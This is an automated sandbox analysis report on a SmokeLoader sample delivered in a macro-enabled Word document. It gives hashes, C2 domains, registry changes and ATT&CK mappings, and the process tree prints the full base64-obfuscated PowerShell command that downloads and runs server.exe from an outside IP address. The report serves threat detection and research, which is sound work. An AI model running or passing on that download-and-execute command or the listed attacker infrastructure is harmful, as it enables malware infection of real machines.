smokeloader | 7be9ef61632edc0f2fc6ad59d64ad69dbffbd05013a80ab1dfbb6bd8a6090b66

General

Target

7be9ef61632edc0f2fc6ad59d64ad69dbffbd05013a80ab1dfbb6bd8a6090b66.docm
Size

106KB
MD5

0bd1328012301d04bdc921acb321b820
SHA1

724612a3c88f187aa000efe4ff4e9e04c9553696
SHA256

7be9ef61632edc0f2fc6ad59d64ad69dbffbd05013a80ab1dfbb6bd8a6090b66
SHA512

d588760ba4fb450a41563849ec10da311ef317c80da1e816b5d88198aef35379fd15f63512620fa7514f7d46f719afc07bce5fff7690ae6336e5a7d747e7d22f
SSDEEP

1536:FCuLaHmmF7tG8Q/qk8fowr/5mUpKNEteuEC5/ThAoLCAJZSfx6BrqbyGfh:hLIt7tD/rRmCK6guEC5/ThAQSfxSuGQ

Score

10^/10

smokeloader backdoor trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://45.84.0.173/download_22/server.exe

Extracted

Family

smokeloader

Version

2022

C2

http://rafraystore.ru/index.php

http://picwalldoor.ru/index.php

http://agentsuperpupervinil.ru/index.php

http://vivianstyler.ru/index.php

http://sephoraofficetz.ru/index.php

http://vikompalion.ru/index.php

http://ccbaminumpot.ru/index.php

rc4.i32

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2328	3024	cmd.exe	WINWORD.EXE

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 2508 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

svchost.exehtthduh

pid process

2496 svchost.exe
1032 htthduh
Loads dropped DLL 4 IoCs

Processes:

powershell.exe

pid process

2508 powershell.exe
2508 powershell.exe
2508 powershell.exe
2508 powershell.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

flow	pid	process
4	2508	powershell.exe

pid	process
2496	svchost.exe
1032	htthduh

pid	process
2508	powershell.exe
2508	powershell.exe
2508	powershell.exe
2508	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

htthduhsvchost.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	htthduh
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	htthduh
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svchost.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svchost.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	htthduh

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2664 timeout.exe

pid	process
2664	timeout.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

3024 WINWORD.EXE

pid	process
3024	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exesvchost.exe

pid	process
2784	powershell.exe
2508	powershell.exe
2496	svchost.exe
2496	svchost.exe
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Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

svchost.exehtthduh

pid process

2496 svchost.exe
1032 htthduh

pid	process
2496	svchost.exe
1032	htthduh

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeShutdownPrivilege	1200
Token: SeShutdownPrivilege	1200

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

3024 WINWORD.EXE
3024 WINWORD.EXE

pid	process
3024	WINWORD.EXE
3024	WINWORD.EXE

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

WINWORD.EXEcmd.exepowershell.exepowershell.exetaskeng.exe

description	pid	process	target process
PID 3024 wrote to memory of 2328	3024	WINWORD.EXE	cmd.exe
PID 3024 wrote to memory of 2328	3024	WINWORD.EXE	cmd.exe
PID 3024 wrote to memory of 2328	3024	WINWORD.EXE	cmd.exe
PID 3024 wrote to memory of 2328	3024	WINWORD.EXE	cmd.exe
PID 2328 wrote to memory of 2664	2328	cmd.exe	timeout.exe
PID 2328 wrote to memory of 2664	2328	cmd.exe	timeout.exe
PID 2328 wrote to memory of 2664	2328	cmd.exe	timeout.exe
PID 2328 wrote to memory of 2664	2328	cmd.exe	timeout.exe
PID 2328 wrote to memory of 2784	2328	cmd.exe	powershell.exe
PID 2328 wrote to memory of 2784	2328	cmd.exe	powershell.exe
PID 2328 wrote to memory of 2784	2328	cmd.exe	powershell.exe
PID 2328 wrote to memory of 2784	2328	cmd.exe	powershell.exe
PID 2784 wrote to memory of 2508	2784	powershell.exe	powershell.exe
PID 2784 wrote to memory of 2508	2784	powershell.exe	powershell.exe
PID 2784 wrote to memory of 2508	2784	powershell.exe	powershell.exe
PID 2784 wrote to memory of 2508	2784	powershell.exe	powershell.exe
PID 2508 wrote to memory of 2496	2508	powershell.exe	svchost.exe
PID 2508 wrote to memory of 2496	2508	powershell.exe	svchost.exe
PID 2508 wrote to memory of 2496	2508	powershell.exe	svchost.exe
PID 2508 wrote to memory of 2496	2508	powershell.exe	svchost.exe
PID 3024 wrote to memory of 2980	3024	WINWORD.EXE	splwow64.exe
PID 3024 wrote to memory of 2980	3024	WINWORD.EXE	splwow64.exe
PID 3024 wrote to memory of 2980	3024	WINWORD.EXE	splwow64.exe
PID 3024 wrote to memory of 2980	3024	WINWORD.EXE	splwow64.exe
PID 1372 wrote to memory of 1032	1372	taskeng.exe	htthduh
PID 1372 wrote to memory of 1032	1372	taskeng.exe	htthduh
PID 1372 wrote to memory of 1032	1372	taskeng.exe	htthduh
PID 1372 wrote to memory of 1032	1372	taskeng.exe	htthduh

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7be9ef61632edc0f2fc6ad59d64ad69dbffbd05013a80ab1dfbb6bd8a6090b66.docm"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\SysWOW64\cmd.exe
  cmd /c timeout 3 && Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzQ1Ljg0LjAuMTczL2Rvd25sb2FkXzIyL3NlcnZlci5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmNob3N0LmV4ZSI7ICRXZWIuRG93bmxvYWRGaWxlKCRVcmwsICRQdGgpOyBJbnZva2UtRXhwcmVzc2lvbiAkUHRoOw==')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\SysWOW64\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:2664
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzQ1Ljg0LjAuMTczL2Rvd25sb2FkXzIyL3NlcnZlci5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmNob3N0LmV4ZSI7ICRXZWIuRG93bmxvYWRGaWxlKCRVcmwsICRQdGgpOyBJbnZva2UtRXhwcmVzc2lvbiAkUHRoOw==')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2784
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JABXAGUAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAFUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADQALgAwAC4AMQA3ADMALwBkAG8AdwBuAGwAbwBhAGQAXwAyADIALwBzAGUAcgB2AGUAcgAuAGUAeABlACcAOwAgACQAUAB0AGgAIAA9ACAAIgAkAGUAbgB2ADoAVABlAG0AcABcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAiADsAIAAkAFcAZQBiAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFUAcgBsACwAIAAkAFAAdABoACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAUAB0AGgAOwA=
      4⤵
      Blocklisted process makes network request
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2508
    - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:2496
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2980

C:\Windows\system32\taskeng.exe
taskeng.exe {F28C5E69-AFB3-4A77-91A9-9DD2EAB542F0} S-1-5-21-2248906074-2862704502-246302768-1000:GHPZRGFC\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1372
- C:\Users\Admin\AppData\Roaming\htthduh
  C:\Users\Admin\AppData\Roaming\htthduh
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
20KB

MD5
7967c170a2b4d274b53aebb632b2faa9

SHA1
a14914f27920993579a5488814d074239da748df

SHA256
0016d467d6fca96d0ee496e9dd5f6e4cff8b7dd905f452ef5323907d4202c9cb

SHA512
55f79211a8b19b9a2d2026abd1ffd2d9b1101b10e23484dc807cf6400e31b7e265199ed7d3ab64f3d92be536d8efad2588141b575ea9bab633af0a939d748184

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
ed618cc704494a801d76b0f0738f8542

SHA1
5724a1b0a60c98502f45ecbaea0f9911834943c1

SHA256
820b0f01a97536a1c9d7524fd1d81c0ba91ca6bc6f1401d6db0af5e2b3f8b095

SHA512
72480c72904365f07038b9455ace408ad9401383d197afa3d90afcac0b6116a5bfc4a79857a83fd20295f91ecd6a8d2497b0554d0dbb87cf7ad1d8a0ef190f7d

Download Submit
\Users\Admin\AppData\Local\Temp\svchost.exe

Filesize
180KB

MD5
92c57dd80b764a028749520017d44e76

SHA1
f732220adaacf23de6cc69d964341766d2e350d9

SHA256
dbd741a45d840d06d708339f9e9824f2a0d745ea6537ca44bff233ba7441bfda

SHA512
dd7d363fef5750a256abc2ae43d17f8e4788d392afaa74a2085f34da05efeb12373f38fbf480e1c86eb2759c667c971c7c54512f5d59ee61f5a0a4341ac406c8

Download Submit
memory/1032-67-0x0000000000400000-0x0000000002349000-memory.dmp

Filesize
31.3MB

Download
memory/1200-66-0x0000000002DB0000-0x0000000002DC6000-memory.dmp

Filesize
88KB

Download
memory/1200-34-0x0000000002E00000-0x0000000002E16000-memory.dmp

Filesize
88KB

Download
memory/2496-35-0x0000000000400000-0x0000000002349000-memory.dmp

Filesize
31.3MB

Download
memory/3024-7-0x0000000005230000-0x0000000005330000-memory.dmp

Filesize
1024KB

Download
memory/3024-38-0x000000007178D000-0x0000000071798000-memory.dmp

Filesize
44KB

Download
memory/3024-39-0x0000000005230000-0x0000000005330000-memory.dmp

Filesize
1024KB

Download
memory/3024-0-0x000000002FAD1000-0x000000002FAD2000-memory.dmp

Filesize
4KB

Download
memory/3024-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/3024-2-0x000000007178D000-0x0000000071798000-memory.dmp

Filesize
44KB

Download
